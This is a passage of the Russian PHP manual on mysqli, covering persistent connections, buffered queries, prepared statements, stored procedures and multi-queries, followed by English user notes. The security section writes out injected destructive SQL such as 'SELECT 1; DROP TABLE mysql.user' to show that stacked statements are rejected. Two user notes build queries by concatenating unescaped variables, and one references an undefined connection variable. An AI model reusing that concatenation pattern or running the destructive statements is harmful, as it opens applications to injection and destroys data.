Модуль mysqli поддерживает постоянные соединения с базой данных, которые представляют из себя специальный вид объединяемых соединений. По умолчанию каждое открытое скриптом соединение закрывается либо самим скриптом в ходе выполнения, либо автоматически по завершении работы скрипта. Постоянные соединения отличаются тем, что не закрываются, а помещаются в пул для повторного использования в дальнейшем. Если требуется подключиться к тому же серверу и базе данных, с тем же именем пользователя, паролем, сокетом и портом, то вместо создания нового подключения из пула извлекается уже существующее. Повторное использование подключений позволяет избежать накладных расходов на создание новых соединений.

Каждый PHP-процесс использует свой пул подключений mysqli. В зависимости от конфигурации веб-сервера, PHP-процесс может обслуживать один или несколько запросов. Соответственно, соединение из пула могут последовательно использовать несколько скриптов.

Постоянное соединение

Новое подключение создаётся, только если в пуле не найдётся свободного подключения с теми же данными хоста, имени пользователя, пароля, сокета, порта и базы данных по умолчанию. Механизм постоянных соединений можно включать и выключать PHP директивой mysqli.allow_persistent. Максимальное количество соединений, которые может открыть скрипт, ограничено значением mysqli.max_links. Максимальное количество соединений, которые может открыть один PHP-процесс, ограничено значением mysqli.max_persistent. Следует заметить, что веб-сервер может порождать множество PHP процессов.

Главный недостаток постоянных подключений заключается в том, что перед повторным использованием их состояние не сбрасывается к изначальному. Например, открытые и незавершённые транзакции не будут автоматически откатываться. Также, если во время нахождения соединения в пуле для процесса изменились какие-либо разрешения или уровни доступа, этот факт никак не отразится на подключении при его извлечении из пула. Такое поведение может привести к нежелательным результатам. Хотя, с другой стороны, название постоянный можно рассматривать, как обещание, что подключение и правда останется в том состоянии, в котором оно было помещено в пул.

Модуль mysqli поддерживает обе интерпретации термина постоянное соединение: состояние соединения может сохраняться, а может и сбрасываться в изначальное. По умолчанию при извлечении из пула, соединение сбрасывается. mysqli делает это неявным вызовом функции mysqli::change_user() каждый раз, когда подключение используется повторно. С точки зрения пользователя подключение выглядит, как только что созданное.

Однако, вызов функции mysqli::change_user() довольно дорогостоящая операция. Для улучшения быстродействия можно перекомпилировать модуль с установленным флагом MYSQLI_NO_CHANGE_USER_ON_PCONNECT.

Выбор между безопасным поведением подключений и наилучшим быстродействием остаётся за пользователем. Здесь нельзя дать однозначного совета. Для простоты использования, по умолчанию включён безопасный режим с очисткой соединений.

Смотрите также

  • mysqli::__construct()
  • mysqli_init()
  • mysqli::options()
  • mysqli::real_connect()
  • mysqli::change_user()
  • $mysqli::host_info
  • MySQLi Configuration Options
  • Persistent Database Connections

User Contributed Notes

xylene2301 at gmail dot com 11-Aug-2022 10:47
"The hostname localhost has a special meaning. It is bound to the use of Unix domain sockets. To open a TCP/IP connection to the localhost, 127.0.0.1 must be used instead of the hostname localhost."

Is there something I missed or is this 1st provision incorrect?
On windows11, using PHP 7.4 and MySQL 8,

$conn = new mysqli("localhost", "root", "pword", "tstDB");
echo $conn->host_info . "\n";

returns:
localhost via TCP/IP Connected to the database.


Выполнение запросов

За выполнение запросов отвечают функции mysqli::query(), mysqli::real_query() и mysqli::multi_query(). Чаще всего применяется функция mysqli::query(), так как она выполняет сразу две задачи: выполняет запрос и буферизует на клиенте результат этого запроса (если он есть). Вызов mysqli::query() идентичен последовательному вызову функций mysqli::real_query() и mysqli::store_result().

Пример #1 Выполнение запросов

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");

Буферизация результатов запроса

После выполнения запроса результаты можно либо получить сразу, либо считать строку за строкой с сервера. Буферизация набора результатов на стороне клиента позволяет серверу как можно раньше высвободить ресурсы, связанные с результатами запроса. Проще говоря, клиенты медленно используют наборы результатов. Поэтому рекомендуется использовать буферизованные наборы результатов. mysqli::query() объединяет выполнение запроса и буферизацию набора результатов.

PHP-приложения могут свободно оперировать данными внутри буферизованных результирующих наборов. Быстрая навигация по строкам наборов обусловлена тем, что наборы полностью располагаются в памяти клиента. Следует помнить, что зачастую обработка результатов на клиенте проще, нежели средствами сервера.

Пример #2 Навигация по строкам буферизованной результирующей таблицы

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

$result = $mysqli->query("SELECT id FROM test ORDER BY id ASC");

echo "Обратный порядок...\n";
for ($row_no = $result->num_rows - 1; $row_no >= 0; $row_no--) {
$result->data_seek($row_no);
$row = $result->fetch_assoc();
echo " id = " . $row['id'] . "\n";
}

echo "Исходный порядок строк...\n";
foreach ($result as $row) {
echo " id = " . $row['id'] . "\n";
}

Результат выполнения данного примера:

Обратный порядок...
 id = 3
 id = 2
 id = 1
Исходный порядок строк...
 id = 1
 id = 2
 id = 3

Небуферизованные результирующие наборы

Если клиентские ресурсы ограничены, и в тоже время не требуется поддерживать низкую нагрузку на сервер, можно использовать не буферизованные результирующие наборы. Навигация по таким таблицам невозможна, потому что так или иначе должны быть обработаны все строки набора.

Пример #3 Навигация по строкам небуферизованной результирующей таблицы

<?php
$mysqli->real_query("SELECT id FROM test ORDER BY id ASC");
$result = $mysqli->use_result();

echo "Порядок строк в результирующем наборе...\n";
foreach ($result as $row) {
echo " id = " . $row['id'] . "\n";
}

Типы данных значений в результирующей таблице

Функции mysqli::query(), mysqli::real_query() и mysqli::multi_query() предназначены для выполнения не подготавливаемых запросов. На уровне протокола клиент-серверного взаимодействия MySQL за выполнение запросов отвечают команда COM_QUERY и текстовый протокол. Когда используется текстовый протокол, сервер MySQL перед отправкой клиенту преобразует все данные в результирующем наборе в текстовые строки. Это преобразование выполняется вне зависимости от типа данных SQL-столбца результирующей таблицы. Клиентские библиотеки mysql, в свою очередь, получают все данные, принимая их за строки. На клиенте не проводится никакого обратного преобразования к исходным типам, все данные, полученные приложением остаются PHP строками.

Пример #4 Текстовый протокол по умолчанию возвращает строки

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT, label CHAR(1))");
$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'a')");

$result = $mysqli->query("SELECT id, label FROM test WHERE id = 1");
$row = $result->fetch_assoc();

printf("id = %s (%s)\n", $row['id'], gettype($row['id']));
printf("label = %s (%s)\n", $row['label'], gettype($row['label']));

Результат выполнения данного примера:

id = 1 (string)
label = a (string)

Если используется библиотека mysqlnd, можно включить преобразование целочисленных значений и чисел с плавающей точкой из столбцов таблицы в PHP числа. Делается это заданием настройки подключения MYSQLI_OPT_INT_AND_FLOAT_NATIVE. В таком случае mysqlnd будет проверять метаданные столбцов и преобразовывать SQL-числа этих полей в PHP-числа, если эти значения не выходят за рамки допустимых диапазонов типов данных PHP. То есть, например, SQL INT число попадёт в PHP приложение в виде целого (integer).

Пример #5 Получение исходных типов данных в приложении

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = new mysqli();
$mysqli->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1);
$mysqli->real_connect("example.com", "user", "password", "database");

$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT, label CHAR(1))");
$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'a')");

$result = $mysqli->query("SELECT id, label FROM test WHERE id = 1");
$row = $result->fetch_assoc();

printf("id = %s (%s)\n", $row['id'], gettype($row['id']));
printf("label = %s (%s)\n", $row['label'], gettype($row['label']));

Результат выполнения данного примера:

id = 1 (integer)
label = a (string)

Смотрите также

  • mysqli::__construct()
  • mysqli::options()
  • mysqli::real_connect()
  • mysqli::query()
  • mysqli::multi_query()
  • mysqli::use_result()
  • mysqli::store_result()

User Contributed Notes

There are no user contributed notes for this page.


Подготавливаемые запросы

СУБД MySQL поддерживает подготавливаемые запросы. Подготавливаемые (или параметризованные) запросы используются для повышения эффективности, когда один запрос выполняется многократно и защищает от SQL-инъекций.

Принцип работы

Выполнение подготавливаемого запроса проводится в два этапа: подготовка и исполнение. На этапе подготовки на сервер посылается шаблон запроса. Сервер выполняет синтаксическую проверку этого шаблона, строит план выполнения запроса и выделяет под него ресурсы.

MySQL сервер поддерживает неименованные, или позиционные, псевдопеременные ?.

За подготовкой следует выполнение. Во время выполнения клиент связывает значения параметров и отправляет их на сервер. Сервер выполняет запрос со связанными значениями, используя ранее созданные внутренние ресурсы.

Пример #1 Подготовленный запрос

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

/* Неподготовленный запрос */
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT, label TEXT)");

/* Подготовленный запрос, шаг 1: подготовка */
$stmt = $mysqli->prepare("INSERT INTO test(id, label) VALUES (?, ?)");

/* Подготовленный запрос, шаг 2: связывание и выполнение */
$id = 1;
$label = 'PHP';
$stmt->bind_param("is", $id, $label); // "is" означает, что $id связывается, как целое число, а $label - как строка

$stmt->execute();

Повторное выполнение запроса

Подготовленный запрос можно запускать многократно. Перед каждым запуском значения привязанных переменных будут передаваться на сервер и подставляться в текст запроса. Сам текст запроса повторно не анализируется, равно как и не отсылается повторно шаблон.

Пример #2 Выражение INSERT один раз подготавливается, а затем многократно выполняется

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

/* Неподготовленный запрос */
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT, label TEXT)");

/* Подготовленный запрос, шаг 1: подготовка */
$stmt = $mysqli->prepare("INSERT INTO test(id, label) VALUES (?, ?)");

/* Подготовленный запрос, шаг 2: связывание и выполнение */
$stmt->bind_param("is", $id, $label); // "is" означает, что $id связывается, как целое число, а $label - как строка

$data = [
1 => 'PHP',
2 => 'Java',
3 => 'C++'
];
foreach ($data as $id => $label) {
$stmt->execute();
}

$result = $mysqli->query('SELECT id, label FROM test');
var_dump($result->fetch_all(MYSQLI_ASSOC));

Результат выполнения данного примера:

array(3) {
  [0]=>
  array(2) {
    ["id"]=>
    string(1) "1"
    ["label"]=>
    string(3) "PHP"
  }
  [1]=>
  array(2) {
    ["id"]=>
    string(1) "2"
    ["label"]=>
    string(4) "Java"
  }
  [2]=>
  array(2) {
    ["id"]=>
    string(1) "3"
    ["label"]=>
    string(3) "C++"
  }
}

Каждый подготавливаемый запрос использует ресурсы сервера. Если запрос больше не нужен, его необходимо сразу закрыть. Если не сделать этого явно, запрос закроется сам, но только когда PHP освободит его дескриптор, как правило это происходит при выходе запроса из области видимости или при завершении работы скрипта.

Использование подготавливаемых запросов не всегда приводит к повышению эффективности. Если параметризованный запрос запускается лишь раз, это приводит к большему количеству клиент-серверных обменов данными, нежели при выполнении простого запроса. Именно по этой причине в примере выше выражение SELECT выполнялось, как обычный запрос.

Также имеет смысл рассмотреть SQL-синтаксис вставки множества значений в выражении INSERT. В примере выше мультивставка (значения для вставки перечисляются через запятую) в предложении INSERT обошлась бы дешевле, чем подготовленный запрос.

Пример #3 Меньше обменов данными при использовании мультивставок SQL

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");

$values = [1, 2, 3, 4];

$stmt = $mysqli->prepare("INSERT INTO test(id) VALUES (?), (?), (?), (?)");
$stmt->bind_param('iiii', ...$values);
$stmt->execute();

Типы данных значений в результирующей таблице

В протоколе клиент-серверного взаимодействия MySQL для обычных и подготавливаемых запросов определены разные протоколы передачи данных клиенту. Параметризованные запросы используют так называемый двоичный протокол. Сервер MySQL посылает результирующий набор клиенту "как есть" в двоичном формате. Данные в таблице не преобразуются в текст. Клиентские библиотеки получают двоичные данные и пытаются преобразовать значения в соответствующие типы данных PHP. Например, столбец результатов запроса типа SQL INT PHP примет и преобразует в тип integer.

Пример #4 Исходные типы данных

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

/* Неподготовленный запрос */
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT, label TEXT)");
$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'PHP')");

$stmt = $mysqli->prepare("SELECT id, label FROM test WHERE id = 1");
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();

printf("id = %s (%s)\n", $row['id'], gettype($row['id']));
printf("label = %s (%s)\n", $row['label'], gettype($row['label']));

Результат выполнения данного примера:

id = 1 (integer)
label = PHP (string)

Такое поведение не характерно для обычных запросов, которые по умолчанию все результаты возвращают в виде текстовых строк. Это поведение по умолчанию можно изменить, настроив соединение соответствующим образом. После такой настройки разницы между данными подготавливаемого и обычного запросов уже не будет.

Получение результатов запроса с привязкой переменных

Результаты из подготовленного запроса можно получить либо привязав выходные переменные, либо запросив объект mysqli_result.

Выходные параметры нужно привязывать после выполнения запроса. Каждому столбцу результирующей таблицы должна соответствовать ровно одна переменная.

Пример #5 Привязка переменных к результату запроса

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

/* Неподготовленный запрос */
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT, label TEXT)");
$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'PHP')");

$stmt = $mysqli->prepare("SELECT id, label FROM test WHERE id = 1");
$stmt->execute();

$stmt->bind_result($out_id, $out_label);

while ($stmt->fetch()) {
printf("id = %s (%s), label = %s (%s)\n", $out_id, gettype($out_id), $out_label, gettype($out_label));
}

Результат выполнения данного примера:

id = 1 (integer), label = PHP (string)

Объекты подготавливаемых запросов по умолчанию возвращают небуферизованные результирующие наборы. Эти таблицы никаким неявным образом не переносятся на клиента, они остаются на сервере, занимая его ресурсы, пока клиентский процесс самостоятельно не извлечёт все данные. Если клиент не может извлечь данные результирующего набора, или после закрытия объекта запроса остаются невыбранными какие-то данные, то на mysqli ложится ответственность неявно подчистить этот мусор за клиентским процессом.

Также можно буферизовать данные результирующих таблиц подготовленного запроса с помощью функции mysqli_stmt::store_result().

Извлечение результатов запроса посредством mysqli_result интерфейса

Вместо использования привязки переменных к результатам запроса, результирующие таблицы можно извлекать средствами интерфейса mysqli_result. Функция mysqli_stmt::get_result() возвращает буферизованный результирующий набор строк.

Пример #6 Использование mysqli_result для выборки результатов запроса

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

/* Неподготовленный запрос */
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT, label TEXT)");
$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'PHP')");

$stmt = $mysqli->prepare("SELECT id, label FROM test WHERE id = 1");
$stmt->execute();

$result = $stmt->get_result();

var_dump($result->fetch_all(MYSQLI_ASSOC));

Результат выполнения данного примера:

array(1) {
  [0]=>
  array(2) {
    ["id"]=>
    int(1)
    ["label"]=>
    string(3) "PHP"
  }
}

Использование интерфейса mysqli_result имеет дополнительное преимущество в том, что буферизация результирующих таблиц на клиенте предлагает гибкую систему навигации по этим таблицам.

Пример #7 Буферизация результирующего набора для удобства чтения данных

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

/* Неподготовленный запрос */
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT, label TEXT)");
$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'PHP'), (2, 'Java'), (3, 'C++')");

$stmt = $mysqli->prepare("SELECT id, label FROM test");
$stmt->execute();

$result = $stmt->get_result();

for ($row_no = $result->num_rows - 1; $row_no >= 0; $row_no--) {
$result->data_seek($row_no);
var_dump($result->fetch_assoc());
}

Результат выполнения данного примера:

array(2) {
  ["id"]=>
  int(3)
  ["label"]=>
  string(3) "C++"
}
array(2) {
  ["id"]=>
  int(2)
  ["label"]=>
  string(4) "Java"
}
array(2) {
  ["id"]=>
  int(1)
  ["label"]=>
  string(3) "PHP"
}

Экранирование и SQL-инъекции

Привязанные переменные отправляются на сервер отдельно от запроса и таким образом не могут влиять на него. Сервер использует эти значения непосредственно в момент выполнения, уже после того, как был обработан шаблон выражения. Привязанные параметры не нуждаются в экранировании, так как они никогда не подставляются непосредственно в строку запроса. Необходимо отправлять тип привязанной переменной на сервер, чтобы определить соответствующее преобразование. Смотрите функцию mysqli_stmt::bind_param() для получения большей информации.

Такое разделение часто считается единственным способом обезопаситься от SQL-инъекции, но на самом деле такого же уровня безопасности можно добиться и с неподготовленными выражениями, если правильно отформатировать все значения. Важно отметить, что правильное форматирование - не то же самое, что и экранирование, и включает в себя больше логики. Таким образом, подготовленные выражения - просто более удобный и менее подверженный ошибкам способ для достижения такой безопасности базы данных.

Эмуляция подготовленного запроса на клиенте

В API нет возможности эмулировать подготавливаемые запросы на клиенте.

Смотрите также

  • mysqli::__construct()
  • mysqli::query()
  • mysqli::prepare()
  • mysqli_stmt::prepare()
  • mysqli_stmt::execute()
  • mysqli_stmt::bind_param()
  • mysqli_stmt::bind_result()

User Contributed Notes

There are no user contributed notes for this page.


Хранимые процедуры

СУБД MySQL поддерживает хранимые процедуры. Под этим термином понимается последовательность операций, хранящаяся как единое целое в каталоге базы данных на сервере. Приложения могут вызывать и запускать хранимые процедуры. Для запуска хранимой процедуры используется SQL выражение CALL.

Параметры

Хранимые процедуры могут иметь параметры IN, INOUT и OUT в зависимости от версии MySQL. Интерфейс mysqli не делает различий между этими типами параметров.

Параметр IN

Входные параметры указываются внутри предложения CALL. При передаче входных параметров важно убедиться, что их значения корректно экранированы.

Пример #1 Вызов хранимой процедуры

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");

$mysqli->query("DROP PROCEDURE IF EXISTS p");
$mysqli->query("CREATE PROCEDURE p(IN id_val INT) BEGIN INSERT INTO test(id) VALUES(id_val); END;");

$mysqli->query("CALL p(1)");

$result = $mysqli->query("SELECT id FROM test");

var_dump($result->fetch_assoc());

Результат выполнения данного примера:

array(1) {
  ["id"]=>
  string(1) "1"
}

Параметр INOUT/OUT

Значения параметров INOUT/OUT доступны через переменные сессии.

Пример #2 Использование переменных сессии

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$mysqli->query("DROP PROCEDURE IF EXISTS p");
$mysqli->query('CREATE PROCEDURE p(OUT msg VARCHAR(50)) BEGIN SELECT "Hi!" INTO msg; END;');

$mysqli->query("SET @msg = ''");
$mysqli->query("CALL p(@msg)");

$result = $mysqli->query("SELECT @msg as _p_out");

$row = $result->fetch_assoc();
echo $row['_p_out'];

Результат выполнения данного примера:

Hi!

Разработчики приложений и фреймворков могут предоставить более удобный API, в котором наряду с сессионными переменными используется просмотр каталогов базы данных напрямую. Однако, стоит учитывать, что такой подход снижает быстродействие.

Обработка результирующих наборов

Хранимые процедуры могут возвращать результирующие наборы строк. Таблицы результатов работы хранимой процедуры нельзя корректно извлечь средствами mysqli::query(). Функция mysqli::query() выполняет две операции: запускает запрос и извлекает первый результирующий набор, помещая его в буфер. Хранимые процедуры могут возвращать более одного результирующего набора, но при использовании mysqli::query() все они, кроме первого, станут недоступны пользователю.

Результирующие таблицы хранимых процедур извлекаются функциями mysqli::real_query() или mysqli::multi_query(). Обе функции позволяют получить любое количество результирующих наборов, возвращённых SQL-запросами, таких как CALL. Если в процессе работы не удаётся извлечь все доступные результаты вызова хранимой процедуры, будет вызываться ошибка.

Пример #3 Извлечение результатов работы хранимой процедуры

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

$mysqli->query("DROP PROCEDURE IF EXISTS p");
$mysqli->query('CREATE PROCEDURE p() READS SQL DATA BEGIN SELECT id FROM test; SELECT id + 1 FROM test; END;');

$mysqli->multi_query("CALL p()");

do {
if ($result = $mysqli->store_result()) {
printf("---\n");
var_dump($result->fetch_all());
$result->free();
}
} while ($mysqli->next_result());

Результат выполнения данного примера:

---
array(3) {
  [0]=>
  array(1) {
    [0]=>
    string(1) "1"
  }
  [1]=>
  array(1) {
    [0]=>
    string(1) "2"
  }
  [2]=>
  array(1) {
    [0]=>
    string(1) "3"
  }
}
---
array(3) {
  [0]=>
  array(1) {
    [0]=>
    string(1) "2"
  }
  [1]=>
  array(1) {
    [0]=>
    string(1) "3"
  }
  [2]=>
  array(1) {
    [0]=>
    string(1) "4"
  }
}

Использование подготавливаемых запросов

Специальных средств для извлечения данных при использовании подготавливаемых запросов не требуется. Интерфейсы подготавливаемых и обычных запросов одинаковы. Однако, нужно учитывать, что не все версии MYSQL поддерживают подготовку в запросе SQL-выражения CALL.

Пример #4 Хранимые процедуры и подготавливаемые запросы

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

$mysqli->query("DROP PROCEDURE IF EXISTS p");
$mysqli->query('CREATE PROCEDURE p() READS SQL DATA BEGIN SELECT id FROM test; SELECT id + 1 FROM test; END;');

$stmt = $mysqli->prepare("CALL p()");

$stmt->execute();

do {
if ($result = $stmt->get_result()) {
printf("---\n");
var_dump($result->fetch_all());
$result->free();
}
} while ($stmt->next_result());

Результат выполнения данного примера:

---
array(3) {
  [0]=>
  array(1) {
    [0]=>
    int(1)
  }
  [1]=>
  array(1) {
    [0]=>
    int(2)
  }
  [2]=>
  array(1) {
    [0]=>
    int(3)
  }
}
---
array(3) {
  [0]=>
  array(1) {
    [0]=>
    int(2)
  }
  [1]=>
  array(1) {
    [0]=>
    int(3)
  }
  [2]=>
  array(1) {
    [0]=>
    int(4)
  }
}

Само собой, поддерживается привязка результатов к объекту запроса.

Пример #5 Хранимые процедуры и подготавливаемые запросы с использованием привязки результатов

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

$mysqli->query("DROP PROCEDURE IF EXISTS p");
$mysqli->query('CREATE PROCEDURE p() READS SQL DATA BEGIN SELECT id FROM test; SELECT id + 1 FROM test; END;');

$stmt = $mysqli->prepare("CALL p()");

$stmt->execute();

do {
if ($stmt->store_result()) {
$stmt->bind_result($id_out);
while ($stmt->fetch()) {
echo "id = $id_out\n";
}
}
} while ($stmt->next_result());

Результат выполнения данного примера:

id = 1
id = 2
id = 3
id = 2
id = 3
id = 4

Смотрите также

  • mysqli::query()
  • mysqli::multi_query()
  • mysqli::next_result()
  • mysqli::more_results()

User Contributed Notes

Valverde 05-Jul-2019 08:16
<?php

// Store procedure call without params

$MyConnection = new mysqli ("DB_SERVER", "DB_USER", "DB_PASS", "DB_NAME");

mysqli_multi_query ($MyConnection, "CALL MyStoreProcedure") OR DIE (mysqli_error($MyConnection));

while (mysqli_more_results($MyConnection)) {

       if ($result = mysqli_store_result($MyConnection)) {

              while ($row = mysqli_fetch_assoc($result)) {

                     // i.e.: DBTableFieldName="userID"
                     echo "row = ".$row["DBTableFieldName"]."<br />";
                     ....

              }
              mysqli_free_result($result);
       }
       mysqli_next_result($conn);

}
?>
*******************************************************************
<?php

// Store procedure call using params

$MyConnection = new mysqli ("DB_SERVER", "DB_USER", "DB_PASS", "DB_NAME");

mysqli_query($MyConnection ,"SET @p0='".$MyParam1."'");
mysqli_query($MyConnection ,"SET @p1='".$MyParam2."'");
mysqli_multi_query ($MyConnection, "CALL MyStoreProcedure (@p0,@p1)") OR DIE (mysqli_error($MyConnection));

while (mysqli_more_results($MyConnection)) {

       if ($result = mysqli_store_result($MyConnection)) {

              while ($row = mysqli_fetch_assoc($result)) {

                     // i.e.: DBTableFieldName="userID"
                     echo "row = ".$row["DBTableFieldName"]."<br />";
                     ....

              }
              mysqli_free_result($result);
       }
       mysqli_next_result($conn);

}
?>
paulo dot reis dot rosa at gmail dot com 27-Nov-2016 09:39
<?php
    /**
    * Small function to facilitate call procedure with multiple arguments (supports in/inout/out)
    */
    $db = new mysqli('localhost', 'root', 'password', 'database');

    $lt_query = callProcedure(
        $db,
        "stored_procedure",
        array(
            "in_param1"    => "Value1",
            "in_param2"    => "Value2",
            "inout_param3" => "Value3",
            "out_param4"   => "",
            "out_param5"   => ""
        ));

    function callProcedure( $po_db, $pv_proc, $pt_args )
    {
        if (empty($pv_proc) || empty($pt_args))
        {
            return false;
        }
        $lv_call   = "CALL `$pv_proc`(";
        $lv_select = "SELECT";
        $lv_log = "";
        foreach($pt_args as $lv_key=>$lv_value)
        {
            $lv_query = "SET @_$lv_key = '$lv_value'";
            $lv_log .= $lv_query.";\n";
            if (!$lv_result = $po_db->query($lv_query))
            {
                /* Write log */
                return false;
            }
            $lv_call   .= " @_$lv_key,";
            $lv_select .= " @_$lv_key AS $lv_key,";
        }
        $lv_call   = substr($lv_call, 0, -1).")";
        $lv_select = substr($lv_select, 0, -1);
        $lv_log .= $lv_call;
        if ($lv_result = $po_db->query($lv_call))
        {
            if($lo_result = $po_db->query($lv_select))
            {
                $lt_result = $lo_result->fetch_assoc();
                $lo_result->free();
                return $lt_result;
            }
            /* Write log */
            return false;
        }
        /* Write log */
        return false;
    }

    /**
    * This will return an array like this:
    *
    * $lt_query = array(
    *     'in_param1'   = 'Value1', // Same value as in call
    *     'in_param2'   = 'Value2', // Same value as in call
    *     'inout_param3' = ?,       // Value is changed accordingly
    *     'out_param4'   = ?,       // Value is changed accordingly
    *     'out_param5'   = ?        // Value is changed accordingly
    * )
    */
?>


Множественные запросы

MySQL поддерживает наличие нескольких SQL-запросов в тексте одного запроса, но требует особого обращения. Пересылка на сервер нескольких выражений в одном запроса уменьшает количество клиент-серверных взаимодействий, но требует специальной обработки.

Множественные запросы, или мультизапросы, должны запускаться функцией mysqli::multi_query(). Отдельные SQL-предложения в мультизапросе отделяются точкой с запятой. После выполнения мультизапроса все результирующие наборы, которые он вернул, необходимо извлечь.

MySQL-сервер поддерживает наличие в одном мультизапросе подзапросов, как возвращающих результирующий набор, так и не возвращающих.

Пример #1 Множественные запросы

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");

$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");

$sql = "SELECT COUNT(*) AS _num FROM test;
INSERT INTO test(id) VALUES (1);
SELECT COUNT(*) AS _num FROM test; ";

$mysqli->multi_query($sql);

do {
if ($result = $mysqli->store_result()) {
var_dump($result->fetch_all(MYSQLI_ASSOC));
$result->free();
}
} while ($mysqli->next_result());

Результат выполнения данного примера:

array(1) {
  [0]=>
  array(1) {
    ["_num"]=>
    string(1) "0"
  }
}
array(1) {
  [0]=>
  array(1) {
    ["_num"]=>
    string(1) "1"
  }
}

Рассмотрение аспектов безопасности

Функции API mysqli::query() и mysqli::real_query() во время работы не устанавливают на сервере специальный флаг, необходимый для выполнения мультизапросов. Отдельная API-функция для мультизапросов позволяет снизить вероятность случайных SQL-инъекций. Злоумышленник может попытаться добавить в конец запроса выражения, вроде ; DROP DATABASE mysql или ; SELECT SLEEP(999). Если ему это удастся, но не будет использоваться функция mysqli::multi_query(), сервер не выполнит внедрённое и опасное SQL-выражение.

Пример #2 SQL-инъекция

<?php
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");
$result = $mysqli->query("SELECT 1; DROP TABLE mysql.user");
?>

Результат выполнения данного примера:

PHP Fatal error:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to
use near 'DROP TABLE mysql.user' at line 1

Подготавливаемые запросы

Использование множества выражений в подготавливаемом запросе не поддерживается.

Смотрите также

  • mysqli::query()
  • mysqli::multi_query()
  • mysqli::next_result()
  • mysqli::more_results()

User Contributed Notes

velthuijsen 03-Jul-2018 07:58
Suggested improvement(s) to example 1.

reasons:
Multi_query only returns a non false response if a data/result set is returned and only checks for the first query entered. Switching the first SELECT query with the INSERT query will result in a premature exit of the example with the message "Multi query failed: (0)".
The example assumes that once the first query doesn't fail that the other queries have succeeded as well. Or rather it just exits without reporting that one of the queries after the first query failed seeing that if a query fails next_result returns false.

The changes in the example comes after the creation of the string $sql.

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

